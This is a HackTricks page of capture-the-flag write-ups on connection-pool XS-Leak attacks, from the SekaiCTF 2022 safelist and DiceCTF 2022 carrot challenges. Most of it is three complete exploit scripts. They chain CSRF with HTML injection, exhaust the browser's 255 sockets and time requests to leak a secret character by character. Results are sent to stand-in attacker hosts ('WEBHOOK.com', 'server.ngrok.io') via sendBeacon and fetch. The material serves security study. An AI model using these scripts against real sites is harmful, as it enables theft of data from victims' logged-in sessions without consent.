Connection Pool Examples - HackTricks

# Connection Pool Examples

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

## Sekaictf2022 - safelist

In the Sekaictf2022 - safelist challenge, @Strellic_ gives an example of how to use a variation of the Connection Pool technique to perform a XS-Leak.

In this challenge, the goal is to exfiltrate a flag that will appear in the bots web session inside a post. These are the assets the attacker has:

- The bot will visit a URL given by the attacker
- The attacker can inject HTML in the page (but no JS, dompurify is used) abusing a CSRF making the bot create a post with that HTML.
- The attacker can abuse a CSRF to make the bot delete the first post inside the web.
- Because the posts are ordered alphabetically, when the first post is deleted, if the HTML content of the attacker is loaded means that it was alphabetically before the flag.

Therefore, to steal the flag, the solution proposed by @Strellyc_ is to, for each char to test make the bot:

- Create a new post that starts with the known part of the flag and several img loads.
- Delete the post in position 0.
- Block 255 sockets.
- Load the page with the posts
- Perform 5 random requests to a site (example.com in this case) and measure the time this takes.

> [!WARNING] If the deleted post was the flag, this means that all the images injected in the HTML are going to be fighting with the 5 random requests for that unblocked socket. Which means that the time measured is going to be bigger than the other scenario.

> If the deleted post was the HTML, the 5 random requests will be faster because they don't need to fight for that socket with the HTML injected.

### Exploit 1

This is the exploit code, taken from https://github.com/project-sekai-ctf/sekaictf-2022/blob/main/web/safelist/solution/solve.html:

    <!-- Form to inject HTML code in the bots page -->
    <form
      method="POST"
      action="https://safelist.ctf.sekai.team/create"
      id="create"
      target="_blank">
      <input type="text" name="text" />
      <input type="submit" />
    </form>

    <!-- Form to delete the first entry -->
    <form
      method="POST"
      action="https://safelist.ctf.sekai.team/remove"
      id="remove"
      target="_blank">
      <input type="text" name="index" value="0" />
      <input type="submit" />
    </form>

    <script>
      // Attacker listening
      const WEBHOOK = "https://WEBHOOK.com/"
      // Send data to attacker
      const log = (id, data) => {
        let payload = JSON.stringify({ known, alphabet, data })
        console.log(id, payload)
        navigator.sendBeacon(WEBHOOK + "?" + id, payload)
      }

      // Similar to JQuery
      const $ = document.querySelector.bind(document)

      // Known part of the flag
      const known = "SEKAI{"
      let alphabet = "_abcdefghijklmnopqrstuvwxyz}"

      // Reduce the alphabet using a hash (#) in the URL
      if (location.hash) {
        alphabet = alphabet.slice(alphabet.indexOf(location.hash.slice(1)))
      }

      // Funtion to leak chars
      const leak = async (c) => {
        // Prepare post with known flag and the new char
        let payload = `${known + c}`
        // Inject as many <img as possible
        // you need to respect the CSP and create URLs that are different
        for (let i = 0; payload.length < 2048; i++) {
          payload += `<img src=js/purify.js?${i.toString(36)}>`
        }

        // Inject HTML
        $("#create input[type=text]").value = payload
        $("#create").submit()
        await new Promise((r) => setTimeout(r, 1000))

        // Remove post with index 0
        $("#remove").submit()
        await new Promise((r) => setTimeout(r, 500))

        let deltas = []

        // Try each char 3 times
        for (let i = 0; i < 3; i++) {
          const SOCKET_LIMIT = 255
          // you will need a custom server that works like num.sleepserver.com/sleep/delay
          // needed to freeze the blocked sockets, and they have to all be on different origins
          // Check https://www.npmjs.com/package/sleep-server using subdomains DNS wildcard
          const SLEEP_SERVER = (i) => `http://${i}.sleepserver.com/sleep/60`

          const block = async (i, controller) => {
            try {
              return fetch(SLEEP_SERVER(i), {
                mode: "no-cors",
                signal: controller.signal,
              })
            } catch (err) {}
          }

          // block SOCKET_LIMIT sockets
          const controller = new AbortController()
          for (let i = 0; i < SOCKET_LIMIT; i++) {
            block(i, controller)
          }

          // Make the bot access the page with the posts
          window.open(
            "https://safelist.ctf.sekai.team/?" +
              Math.random().toString(36).slice(2),
            "pwn"
          )
          await new Promise((r) => setTimeout(r, 500))

          // start meassuring time to perform 5 requests
          let start = performance.now()
          await Promise.all([
            fetch("https://example.com", { mode: "no-cors" }),
            fetch("https://example.com", { mode: "no-cors" }),
            fetch("https://example.com", { mode: "no-cors" }),
            fetch("https://example.com", { mode: "no-cors" }),
            fetch("https://example.com", { mode: "no-cors" }),
          ])
          let delta = performance.now() - start
          document.title = delta
          controller.abort()

          log("test_" + c + "_" + i, delta)

          // Save time needed
          deltas.push(delta)
        }
        return deltas
      }

      // Check each char
      const pwn = async () => {
        // Try to leak each character
        for (let i = 0; i < alphabet.length; i++) {
          //Check the indicated char
          let deltas = await leak(alphabet[i])

          // Calculate mean time from requests to example.com
          let avg = deltas.reduce((a, v) => a + v, 0) / deltas.length

          // If greater than 250, the HTML code was injected (flag in index 0)
          if (avg > 250) {
            log("tests_pos_" + alphabet[i], deltas)
          }
          // Flag in the page
          else {
            log("tests_neg_" + alphabet[i], deltas)
          }
        }
      }

      window.onload = async () => {
        pwn()
      }
    </script>

### Exploit 2

Same tactic but different code from https://blog.huli.tw/2022/10/05/en/sekaictf2022-safelist-xsleak/

    <!DOCTYPE html>
    <html>
      <!--
      The basic idea is to create a post with a lot of images which send request to "/" to block server-side nodejs main thread.
      If images are loading, the request to "/" is slower, otherwise faster.
      By using a well-crafted height, we can let note with "A" load image but note with "Z" not load.
      We can use fetch to measure the request time.
    -->
      <body>
        <button onclick="run()">start</button>
        <form
          id="f"
          action="http://localhost:1234/create"
          method="POST"
          target="_blank">
          <input id="inp" name="text" value="" />
        </form>

        <form
          id="f2"
          action="http://localhost:1234/remove"
          method="POST"
          target="_blank">
          <input id="inp2" name="index" value="" />
        </form>
        <script>
          let flag = "SEKAI{"
          const TARGET = "https://safelist.ctf.sekai.team"
          f.action = TARGET + "/create"
          f2.action = TARGET + "/remove"

          const sleep = (ms) => new Promise((r) => setTimeout(r, ms))
          const send = (data) => fetch("http://server.ngrok.io?d=" + data)
          const charset = "abcdefghijklmnopqrstuvwxyz".split("")

          // start exploit
          let count = 0
          setTimeout(async () => {
            let L = 0
            let R = charset.length - 1
            while (R - L > 3) {
              let M = Math.floor((L + R) / 2)
              let c = charset[M]
              send("try_" + flag + c)
              const found = await testChar(flag + c)
              if (found) {
                L = M
              } else {
                R = M - 1
              }
            }

            // fallback to linear since I am not familiar with binary search lol
            for (let i = R; i >= L; i--) {
              let c = charset[i]
              send("try_" + flag + c)
              const found = await testChar(flag + c)
              if (found) {
                send("found: " + flag + c)
                flag += c
                break
              }
            }
          }, 0)

          async function testChar(str) {
            return new Promise((resolve) => {
              /*
                For 3350, you need to test it on your local to get this number.
                The basic idea is, if your post starts with "Z", the image should not be loaded because it's under lazy loading threshold
                If starts with "A", the image should be loaded because it's in the threshold.
              */
              inp.value =
                str +
                '<br><canvas height="3350px"></canvas><br>' +
                Array.from({ length: 20 })
                  .map((_, i) => `<img loading=lazy src=/?${i}>`)
                  .join("")
              f.submit()

              setTimeout(() => {
                run(str, resolve)
              }, 500)
            })
          }

          async function run(str, resolve) {
            // if the request is not enough, we can send more by opening more window
            for (let i = 1; i <= 5; i++) {
              window.open(TARGET)
            }

            let t = 0
            const round = 30
            setTimeout(async () => {
              for (let i = 0; i < round; i++) {
                let s = performance.now()
                await fetch(TARGET + "/?test", {
                  mode: "no-cors",
                }).catch((err) => 1)
                let end = performance.now()
                t += end - s
                console.log(end - s)
              }
              const avg = t / round
              send(str + "," + t + "," + "avg:" + avg)

              /*
              I get this threshold(1000ms) by trying multiple times on remote admin bot
              for example, A takes 1500ms, Z takes 700ms, so I choose 1000 ms as a threshold
            */
              const isFound = t >= 1000
              if (isFound) {
                inp2.value = "0"
              } else {
                inp2.value = "1"
              }

              // remember to delete the post to not break our leak oracle
              f2.submit()
              setTimeout(() => {
                resolve(isFound)
              }, 200)
            }, 200)
          }
        </script>
      </body>
    </html>

## DiceCTF 2022 - carrot

In this case the first step of the exploit was to abuse a CSRF to modify the page where the flag is contained so it has much more content (and therefore loading it takes more time), and then abuse the connection pool to measure the time it takes to access the page that could be potentially having the flag.

In the exploit you can see:

- Abuse CSRF
- Occupy all the sockets but 1
- Calibrate the response
- Start bruteforcing by accessing the potential page with the flag
  - The potential page will be accessed and immediately an attackers controlled URL will also be accessed to check how much time both requests take.

    <h1>DiceCTF 2022 web/carrot</h1>

    <p>
      Step 1: CSRF the admin user, to set a super long title for the flag note (LAX
      + POST form only possible for 2 minutes after cookies is created)
    </p>
    <button onclick="csrf()">do csrf</button>
    <p>
      Step 2: XS-Search with
      <a href="https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/"
        >connection-pool timing leak</a
      >, we have to use window.open (LAX cookie)
    </p>

    <button onclick="popunder()">open popup</button>
    <button onclick="exhaust_sockets()">open 255 connections</button>
    <button onclick="oracle('dice{abc')">test search "abc" (slow)</button>
    <button onclick="oracle('dice{xxx')">test search "xxx" (fast)</button>
    <br />
    <br />
    <h2 id="output"></h2>
    <br />
    <form id="x" action="" method="POST" style="display:none;">
      <input type="text" name="title" placeholder="title" />
      <br /><br />
      <input type="number" name="priority" placeholder="priority" value="9999" />
      <br /><br />
      <textarea name="content" placeholder="content" rows="5" cols="20"></textarea>
      <br /><br />
      <input type="submit" value="submit" />
    </form>

    <script>
      // this is send is used as logging
      LOG = "Starting"
      // 255 in normal chrome, 99 in headless
      SOCKETLIMIT = 255
      // default
      TIMELIMIT = 800
      INSTANCE = ""
      MYSERVER = `example.com`

      const sleep = (ms) => {
        return new Promise((resolve) => {
          setTimeout(resolve, ms)
        })
      }

      const time_fetch = async () => {
        let test_server_url = `https://${MYSERVER}/?${LOG}`
        let start = window.performance.now()
        try {
          await fetch(test_server_url, {
            mode: "no-cors",
          })
        } catch (e) {
          console.log(e)
        }
        let end = window.performance.now()
        return end - start
      }

      const fetch_sleep_long = (i) => {
        // 40s sleep
        return fetch(`https://${i}.${MYSERVER}/40sleep`, {
          mode: "no-cors",
        })
      }

      const fetch_sleep_short = (i) => {
        // 0.25s sleep
        return fetch(`https://${i}.${MYSERVER}/ssleep`, {
          mode: "no-cors",
        })
      }

      const block_socket = async (i) => {
        fetch_sleep_long(i)
        // needed?
        await sleep(0)
      }

      const exhaust_sockets = async () => {
        let i = 0
        for (; i < SOCKETLIMIT; i++) {
          block_socket(i)
        }
        console.log(`Used ${i} connections`)
      }

      const timeit = async (url, popup) => {
        return new Promise(async (r) => {
          popup.location = url
          // needed?
          await sleep(50)

          let val = await time_fetch()
          r(val)
        })
      }

      // const alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ-}!"#$%&\'()*+,-./:;<=>?@[\\]^`|~{'.split('');
      const alphabet = "abcdefghijklmnopqrstuvwxyz}_".split("")
      // const alphabet = 'abcdef}'.split('');

      const oracle = async (search) => {
        let url = `https://carrot-${INSTANCE}.mc.ax/tasks?search=${search}`
        let t = await timeit(url, WINBG)

        LOG = `${search}:${t}`
        console.log(`${search}:${t}`)

        return t > TIMELIMIT
      }

      const brute = async (flag) => {
        for (const char of alphabet) {
          if (await oracle(flag + char)) {
            return char
          }
        }
        return false
      }

      const calibrate = async () => {
        return new Promise(async (r) => {
          // slow
          let url1 = `https://carrot-${INSTANCE}.mc.ax/tasks?search=dice{`
          let t1 = await timeit(url1, WINBG)
          console.log(`slow:${t1}`)
          // fast
          let url2 = `https://carrot-${INSTANCE}.mc.ax/tasks?search=XXXXXXXXXX`
          let t2 = await timeit(url2, WINBG)
          console.log(`fast:${t2}`)
          return r((t1 + t2) / 2)
        })
      }

      const exploit = async (flag = "") => {
        console.log("Starting")
        // dont go to fast plz :)
        console.log(`waiting 3s`)
        await sleep(3000)
        // exaust sockets
        await exhaust_sockets()
        await sleep(2000)
        LOG = `Calibrating`
        TIMELIMIT = await calibrate()
        LOG = `TIMELIMIT:${TIMELIMIT}`
        console.log(`timelimit:${TIMELIMIT}`)
        await sleep(2000)
        let last
        while (true) {
          last = await brute(flag)
          if (last === false) {
            return flag
          } else {
            flag += last
            output.innerText = flag
            if (last === "}") {
              return flag
            }
          }
        }
      }

      const popunder = () => {
        if (window.opener) {
          WINBG = window.opener
        } else {
          WINBG = window.open(location.href, (target = "_blank"))
          location = `about:blank`
        }
      }

      const csrf = async () => {
        x.action = `https://carrot-${INSTANCE}.mc.ax/edit/0`
        x.title.value = "A".repeat(1000000)
        x.submit()
      }

      window.onload = () => {
        let p = new URL(location).searchParams
        if (!p.has("i")) {
          console.log(`no INSTANCE`)
          return
        }
        INSTANCE = p.get("i")
        // step 1
        if (p.has("csrf")) {
          csrf()
          return
        }
        // step 2
        if (p.has("exploit")) {
          // window open is ok in headless :)
          popunder()

          exploit("dice{")
        }
      }
    </script>

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.